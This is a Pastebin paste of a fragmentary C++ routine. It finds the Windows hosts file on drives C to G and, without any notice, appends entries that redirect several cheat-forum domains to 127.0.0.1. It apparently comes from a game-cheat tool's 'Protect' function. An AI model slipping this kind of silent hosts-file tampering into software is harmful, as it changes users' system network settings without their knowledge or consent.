Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <io.h>
- #include <fcntl.h>
- #include <process.h>
- using namespace std;
- ifstream in;
- ofstream out;
- char site_list[10][36] = {
- "www.phcheats.net",
- "phcheats.net",
- "teammollscheater.forumotion.com",
- "www.teammollscheater.forumotion.com",
- };
- char HC[10] = "127.0.0.1";
- char* which;
- char* what;
- FILE *target;
- int find_root(void);
- void block_site(void);
- void Protect()
- {
- if (!Tools.protect)
- {
- try
- {
- Tools.success = find_root();
- if (Tools.success)
- {
- block_site();
- }
- }
- catch (exception)
- { }
- }
- }
- int find_root()
- {
- ifstream C("C:\\windows\\system32\\drivers\\etc\\hosts");
- ifstream D("D:\\windows\\system32\\drivers\\etc\\hosts");
- ifstream E("E:\\windows\\system32\\drivers\\etc\\hosts");
- ifstream F("F:\\windows\\system32\\drivers\\etc\\hosts");
- ifstream G("G:\\windows\\system32\\drivers\\etc\\hosts");
- if (C) {
- target = fopen("C:\\windows\\system32\\drivers\\etc\\hosts", "r+");
- which = "C:\\windows\\system32\\drivers\\etc\\hosts";
- what = "C:\\steb.log";
- return 1;
- }
- if (D) {
- target = fopen("D:\\windows\\system32\\drivers\\etc\\hosts", "r+");
- which = "D:\\windows\\system32\\drivers\\etc\\hosts";
- what = "D:\\steb.log";
- return 1;
- }
- if (E) {
- target = fopen("E:\\windows\\system32\\drivers\\etc\\hosts", "r+");
- which = "E:\\windows\\system32\\drivers\\etc\\hosts";
- what = "E:\\steb.log";
- return 1;
- }
- if (F) {
- target = fopen("F:\\windows\\system32\\drivers\\etc\\hosts", "r+");
- which = "F:\\windows\\system32\\drivers\\etc\\hosts";
- what = "F:\\steb.log";
- return 1;
- }
- if (G) {
- target = fopen("G:\\windows\\system32\\drivers\\etc\\hosts", "r+");
- which = "G:\\windows\\system32\\drivers\\etc\\hosts";
- what = "G:\\steb.log";
- return 1;
- }
- else return 0;
- }
- void block_site()
- {
- int i;
- fseek(target, 0, SEEK_END);
- fprintf(target, "\n");
- for (i = 0; i<2; i++)
- fprintf(target, "%s\t%s\n", HC, site_list[i]);
- fclose(target);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement